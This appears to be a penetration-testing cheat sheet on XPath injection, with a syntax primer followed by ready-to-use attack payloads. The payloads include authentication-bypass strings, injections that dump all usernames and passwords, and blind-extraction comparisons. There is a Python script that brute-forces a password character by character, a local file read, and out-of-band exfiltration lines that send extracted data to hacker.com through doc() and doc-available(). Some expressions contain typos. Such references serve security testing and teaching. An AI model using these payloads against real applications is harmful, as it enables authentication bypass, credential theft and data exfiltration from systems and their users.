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XPATH injection
XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
Info about how to make queries: https://www.w3schools.com/xml/xpath_syntax.asp

Basic Syntax

Nodes

Expression
Description
nodename
Selects all nodes with the name "nodename"
/
Selects from the root node
//
Selects nodes in the document from the current node that match the selection no matter where they are
.
Selects the current node
..
Selects the parent of the current node
@
Selects attributes

Examples:

Path Expression
Result
bookstore
Selects all nodes with the name "bookstore"
/bookstore
Selects the root element bookstoreNote: If the path starts with a slash ( / ) it always represents an absolute path to an element!
bookstore/book
Selects all book elements that are children of bookstore
//book
Selects all book elements no matter where they are in the document
bookstore//book
Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element
//@lang
Selects all attributes that are named lang

Predicates

Path Expression
Result
/bookstore/book[1]
Selects the first book element that is the child of the bookstore element.Note: In IE 5,6,7,8,9 first node is[0], but according to W3C, it is [1]. To solve this problem in IE, set the SelectionLanguage to XPath:
In JavaScript: xml.setProperty("SelectionLanguage","XPath");
/bookstore/book[last()]
Selects the last book element that is the child of the bookstore element
/bookstore/book[last()-1]
Selects the last but one book element that is the child of the bookstore element
/bookstore/book[position()<3]
Selects the first two book elements that are children of the bookstore element
//title[@lang]
Selects all the title elements that have an attribute named lang
//title[@lang='en']
Selects all the title elements that have a "lang" attribute with a value of "en"
/bookstore/book[price>35.00]
Selects all the book elements of the bookstore element that have a price element with a value greater than 35.00
/bookstore/book[price>35.00]/title
Selects all the title elements of the book elements of the bookstore element that have a price element with a value greater than 35.00

Unknown Nodes

Wildcard
Description
*
Matches any element node
@*
Matches any attribute node
node()
Matches any node of any kind

Examples:

Path Expression
Result
/bookstore/*
Selects all the child element nodes of the bookstore element
//*
Selects all elements in the document
//title[@*]
Selects all title elements which have at least one attribute of any kind

Example

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<?xml version="1.0" encoding="ISO-8859-1"?>
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<data>
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<user>
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<name>pepe</name>
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<password>peponcio</password>
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<account>admin</account>
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</user>
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<user>
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<name>mark</name>
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<password>m12345</password>
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<account>regular</account>
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</user>
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<user>
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<name>fino</name>
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<password>fino2</password>
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<account>regular</account>
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</user>
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</data>
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Access the information

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All names - [pepe, mark, fino]
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name
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//name
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//name/node()
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//name/child::node()
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user/name
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user//name
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/user/name
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//user/name
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All values - [pepe, peponcio, admin, mark, ...]
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//user/node()
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//user/child::node()
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Positions
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//user[position()=1]/name #pepe
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//user[last()-1]/name #mark
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//user[position()=1]/child::node()[position()=2] #peponcio (password)
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Functions
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count(//user/node()) #3*3 = 9 (count all values)
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string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
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substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
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Identify & stealing the schema

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and count(/*) = 1 #root
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and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
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and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
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and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
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and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
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and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
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and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
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and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
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and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
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#The previous solutions are the representation of a schema like the following
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#(at this stage we don't know the name of the tags, but jus the schema)
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<root>
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<a>
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<b></b>
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</a>
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<c>
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<d></d>
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<e></e>
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<f>
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<h></h>
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</f>
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</c>
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</root>
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and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
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and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
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and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
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#Stealing the schema via OOB
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doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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Authentication Bypass

Example of queries:

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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
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$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
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OR bypass in user and password (same value in both)

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' or '1'='1
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" or "1"="1
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' or ''='
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" or ""="
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
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Select account
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Select the account using the username and use one of the previous values in the password field
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Abusing null injection

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Username: ' or 1]%00
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Double OR in Username or in password (is valid with only 1 vulnerable field)

IMPORTANT: Notice that the "and" is the first operation made.
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Bypass with first match
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(This requests are also valid without spaces)
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' or /* or '
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' or "a" or '
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' or 1 or '
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' or true() or '
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string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
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Select account
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'or string-length(name(.))<10 or' #Select account with length(name)<10
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'or contains(name,'adm') or' #Select first account having "adm" in the name
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'or contains(.,'adm') or' #Select first account having "adm" in the current value
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'or position()=2 or' #Select 2º account
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string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
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Select account (name known)
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admin' or '
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admin' or '1'='2
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string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
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String extraction

The output contains strings and the user can manipulate the values to search:
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/user/username[contains(., '+VALUE+')]
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') or 1=1 or (' #Get all names
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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') or 2=1] | //user/node()[('')=(' #Get all values
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')] | //./node()[('')=(' #Get all values
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')] | //node()[('')=(' #Get all values
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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')] | //password%00 #All names and passwords (abusing null injection)
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')]/../*[3][text()!=(' #All the passwords
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')] | //user/*[1] | a[(' #The ID of all users
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')] | //user/*[2] | a[(' #The name of all users
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')] | //user/*[3] | a[(' #The password of all users
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')] | //user/*[4] | a[(' #The account of all users
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Blind Explotation

Get length of a value and extract it by comparisons:

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' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
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' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
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substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
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Python Example

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import requests, string
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flag = ""
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l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
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r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
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if ("TRUE_COND" in r.text):
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l = i
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break
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print("[+] Password length: " + str(l))
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for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
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for al in alphabet:
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r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
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if ("TRUE_COND" in r.text):
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flag += al
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print("[+] Flag: " + flag)
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break
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Read file

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(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
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OOB Exploitation

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doc(concat("http://hacker.com/oob/", RESULTS))
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doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
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doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
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#Instead of doc() you can use the function doc-available
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doc-available(concat("http://hacker.com/oob/", RESULTS))
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#the doc available will respond true or false depending if the doc exists,
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#user not(doc-available(...)) to invert the result if you need to
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Automatic tool

Introduction - XCat

References

Last modified 1mo ago